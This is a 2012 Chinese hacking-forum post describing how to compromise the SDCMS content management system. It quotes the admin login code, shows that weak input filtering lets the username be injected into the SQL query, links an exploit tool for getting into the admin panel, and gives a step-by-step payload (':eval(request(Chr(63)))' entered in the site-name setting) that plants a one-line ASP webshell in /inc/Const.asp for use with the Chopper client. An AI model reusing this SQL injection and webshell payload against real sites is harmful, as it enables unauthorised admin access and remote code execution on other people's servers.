找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3254|回复: 0
打印 上一主题 下一主题

SDCMS通杀漏洞利用工具及提权拿SHELL

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 20:57:02 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
作者:T00LS 鬼哥( m2 X, a$ I4 J( U, I
漏洞文件:后台目录/index.asp
0 h) D7 \+ h5 \' K; a( q5 O& l. _
/ r6 J, l0 A7 F% PSub Check
2 \9 Z. Q0 a7 z2 a    Dim username,password,code,getcode,Rs
  D& C; v0 n- a6 W5 Y# f& g. U3 b6 |    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub# A; x+ b2 x6 X3 ^- v- f
    username=FilterText(Trim(Request.Form("username")),1)
, g" M8 b! R" b& b, F% Y* H) |    password=FilterText(Trim(Request.Form("password")),1): o# d: \0 S" N1 `9 U! v( \
    code=Trim(Request.Form("yzm"))! j, \& @8 j1 Q; }+ T& q; S
    getcode=Session("SDCMSCode"); ~9 v$ w2 C& J
    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
. U: f$ j. q/ b1 Q+ @    IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)"ied
( a" Q7 j3 v1 K& }" q3 x    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)"ied
- s* A; C5 C7 d7 q1 M    IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)"ied. G) n2 D2 b  }2 j* I) `( p
    IF username="" or password="" Then! D: S; r1 Y' Y) R5 k0 W% k
        Echo "用户名或密码不能为空"ied
, X8 g$ ?' v7 ^% D. M) [    Else& w1 j& T2 d% g
        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
9 d# @, i. M9 X% ?4 m        IF Rs.Eof Then! Z9 Y( \6 V3 T/ v: Y
            AddLog username,GetIp,"登录失败",1  L0 V# V+ U7 E2 m/ f
            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
% y. s* H( D0 X* s        Else
8 B% W& P: ]4 }4 G2 L& U            Add_Cookies "sdcms_id",Rs(0)
- A7 e+ E; B% J0 A* O! s' t7 R7 k            Add_Cookies "sdcms_name",username, R  A* G$ S- d. c2 M* G( y
            Add_Cookies "sdcms_pwd",Rs(2)* E; F8 O/ D; j! _0 D) H
            Add_Cookies "sdcms_admin",Rs(3)9 o! J' y9 ^* v( S9 G; V7 Y
            Add_Cookies "sdcms_alllever",Rs(4)% W; v/ Z8 H3 @( Y, D3 j
            Add_Cookies "sdcms_infolever",Rs(5)+ }( K5 ?$ e$ |& r" ^3 b( i, t
            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")9 E3 L4 N2 `0 g; r1 t. O2 z# P
            AddLog username,GetIp,"登录成功",11 v' j: ~, A: D: r& L
            '自动删除30天前的Log记录
9 |% ^  ]- `# K' _! I            IF Sdcms_DataType Then7 f) G: T" I* O2 k6 B3 Q+ V
                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
0 D$ u( y1 l* C9 `7 R. L            Else8 Z0 m4 s+ t8 }
                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
0 c9 S; o5 O  c( j7 p" L            End IF- ]6 F. |6 `8 L( F
            Go("sdcms_index.asp")
4 K! @& H9 u% j  u# u  G        End IF
6 M+ H  Q# L8 z        Rs.Close# z8 N. z4 n0 J' o# |/ e; S
        Set Rs=Nothing$ e9 M1 Q5 j3 T4 V
    End IF1 _" D' s8 H+ J
End Sub3 H1 {8 b" ?; s
" `7 l7 [& H8 W' R
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码5 M9 e4 C2 e1 B5 g. g. Q
: F0 f+ n# f0 B4 e
Function FilterText(ByVal t0,ByVal t1)
" U) a  D: U9 h, O% A* Y    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
# i- `4 j" U% D. A! j    t0=Trim(t0)
( r! ~$ e' L- K6 }( Q) I( Z( Q1 h    Select Case t1
1 I0 G$ J& F8 X" I0 p        Case "1"
- W5 k- ^: y* e: u2 V8 h/ A' Q            t0=Replace(t0,Chr(32),"")) N1 x$ p3 R0 D% r& \* }- R3 {
            t0=Replace(t0,Chr(13),"")
( s$ Y5 k$ p" ~: k( Q, j            t0=Replace(t0,Chr(10)&Chr(10),"")# W' ^* B0 i2 w. q2 C
            t0=Replace(t0,Chr(10),"")# b2 c, h2 J" M( f, {  P) J& r
        Case "2"6 h* F) l% C, E( R8 l5 d8 E
            t0=Replace(t0,Chr(8),"")'回格
/ [* ?6 D/ k6 d  |            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
9 A1 z( y1 ^; j" e0 W- [            t0=Replace(t0,Chr(10),"")'换行
( K8 k/ G+ |' h% @& F            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
* A9 S4 L/ }5 {            t0=Replace(t0,Chr(12),"")'换页* y% N4 E& I, l: K
            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
) |  M* e' @8 [' U4 u. {3 j$ \            t0=Replace(t0,Chr(22),"")
, d1 M( J3 r  t7 l. \            t0=Replace(t0,Chr(32),"")'空格 SPACE
& m5 K8 t4 A8 f! N3 f) z            t0=Replace(t0,Chr(33),"")'!
3 n2 O# I- T3 W" h4 b8 I3 y0 {* Q1 f            t0=Replace(t0,Chr(34),"")'"
0 e# ]+ G: o: N, h3 z. [* S            t0=Replace(t0,Chr(35),"")'#6 C2 k" o6 W# v$ a. S! U
            t0=Replace(t0,Chr(36),"")'$( s- |/ e( E9 p% m0 X7 K3 ~
            t0=Replace(t0,Chr(37),"")'%. _( \3 Y  m/ }. T  ]+ y# Y' n
            t0=Replace(t0,Chr(38),"")'&
# v& T$ J# \) w8 |0 Z4 d0 j; I            t0=Replace(t0,Chr(39),"")''
2 c( w' Q' z. w            t0=Replace(t0,Chr(40),"")'(
0 }6 i3 x# S) d- B8 q! B. s            t0=Replace(t0,Chr(41),"")')
7 k" O5 G2 X4 @            t0=Replace(t0,Chr(42),"")'*
& d0 P' }& t0 L% x! g            t0=Replace(t0,Chr(43),"")'+  E" a7 ?# S/ _0 b7 }0 d3 s  g( p1 I
            t0=Replace(t0,Chr(44),"")',+ I6 Y$ u: B# O8 r, `4 x
            t0=Replace(t0,Chr(45),"")'-6 Y6 Z5 Z" g- q  P
            t0=Replace(t0,Chr(46),"")'.( Y/ d0 K0 E$ v" j3 u7 b
            t0=Replace(t0,Chr(47),"")'/! q( b" u. i7 e9 r
            t0=Replace(t0,Chr(58),"")':
# A+ H: _2 E+ B4 G            t0=Replace(t0,Chr(59),"")';. K7 A/ `9 ^$ {6 ]4 p/ p
            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>8 w, `5 Y' g# V% f
            t0=Replace(t0,Chr(63),"")'?
  D0 Q- w: q1 f. r            t0=Replace(t0,Chr(64),"")'@) k7 q/ K$ L9 A6 g: s. |) |7 V
            t0=Replace(t0,Chr(91),"")'\1 K8 M4 C9 Y  H2 G
            t0=Replace(t0,Chr(92),"")'\5 ?5 g+ Q# ~1 F& h: s+ Y! s
            t0=Replace(t0,Chr(93),"")']
( u7 ^' ~( {4 U* ^6 i) N/ I            t0=Replace(t0,Chr(94),"")'^* e! y. q8 p7 z
            t0=Replace(t0,Chr(95),"")'_* B) X1 T. b% x2 t
            t0=Replace(t0,Chr(96),"")'`4 a* {9 e0 e1 {" f$ o5 A9 Q, b
            t0=Replace(t0,Chr(123),"")'{
' T9 C/ L* k% y7 x0 S' v            t0=Replace(t0,Chr(124),"")'|
( w$ s" I! p, ^4 v# M) L" X/ h            t0=Replace(t0,Chr(125),"")'}
( D6 _1 x) p" t" }4 f& w            t0=Replace(t0,Chr(126),"")'~
; F' e8 p  W/ W$ S3 H! S; x1 A    Case Else
( ?6 ~6 d# ]; ?7 \; {$ N        t0=Replace(t0, "&", "&")
) A4 A0 ?" N1 ~$ C( o" X0 S9 r; M        t0=Replace(t0, "'", "'")
5 z. h3 q: y, y  m3 _  k; X        t0=Replace(t0, """", """)
" T2 ~2 m9 X9 X        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
! N+ K# Q( n, D: E5 f; `    End Select  ~& C7 [4 \6 F
    IF Instr(Lcase(t0),"expression")>0 Then3 s9 j! t- G7 G% |! H+ {
        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
! W1 j$ s, y5 F+ \% X    End If; X+ k# b. W1 {
    FilterText=t0
" h' _+ D8 E; M+ Q$ YEnd Function
. W0 k9 o4 O  w7 @
6 a) O) l8 |. V% Q7 p' T  k看到没。直接参数是1 只过滤+ C7 D2 n) d. o! H! d
                        t0=Replace(t0,Chr(32)," ")
2 K2 Y# o* t/ `& A# P                        t0=Replace(t0,Chr(13),"")4 m7 M- p  J* y9 N
                        t0=Replace(t0,Chr(10)&Chr(10),"
$ y- ~- p7 r3 D: |")
6 u7 F2 e1 j* p% ]                        t0=Replace(t0,Chr(10),"
" m1 I# T! L3 a' i")
3 U5 ^$ J% K3 v% R: Q0 v2 @漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!5 I2 |* X/ w5 ?
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
. C: @& e8 K- U( x; ?5 [0 t" f1 S2 q: _
测试:! [% ?* P2 B; }/ p$ I. t$ W7 w
% ?* ~& _; m5 v5 D: U. I& c! s" A) Y
. ]5 r" d" k% \, M+ G* G
现在输入工具上验证码,然后点OK1 }5 j) m8 g+ L) ]' G: g  B

& Y4 s% R0 f' ~7 U  F% f0 u9 Z
# L2 {- M; z4 ^8 G$ S' w看到我们直接进入后台管理界面了,呵呵!
) w2 R$ y6 i" S- m) z
! W6 p: f  H% n1 a4 h; d8 ?) d- c" n7 t6 J) o4 ^

) G4 A" x6 N; A$ N$ U这样直接进入后台了。。。。7 c. z" y% R) i# }  n4 s

" `5 G) ^/ O: \6 v6 b2 \
" Q1 |( C* Q7 V; F1 F
- @. C3 d" i8 q7 `9 J+ lSDCMS提权:
& {0 u  ?2 C" Y8 j& z3 R) P1 G# K! s
方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’  即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
% ~: z  E# N! b8 a, J* `# v/ I4 ^. i) A
$ m+ L. U) g8 V/ B/ U

# c; c( _$ X! P+ w( d& cOK,现在用菜刀连接下!5 |2 d! l8 J2 B5 a0 P) |1 Q

$ L6 u- `/ d! `8 M# O8 |
' l% {+ d* R$ y4 }1 W4 d' B, r1 _( p) A5 i, r2 k. _

! I- ]" N$ u$ i8 j  I+ |2 r
- z9 C$ ~* V/ l/ }
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表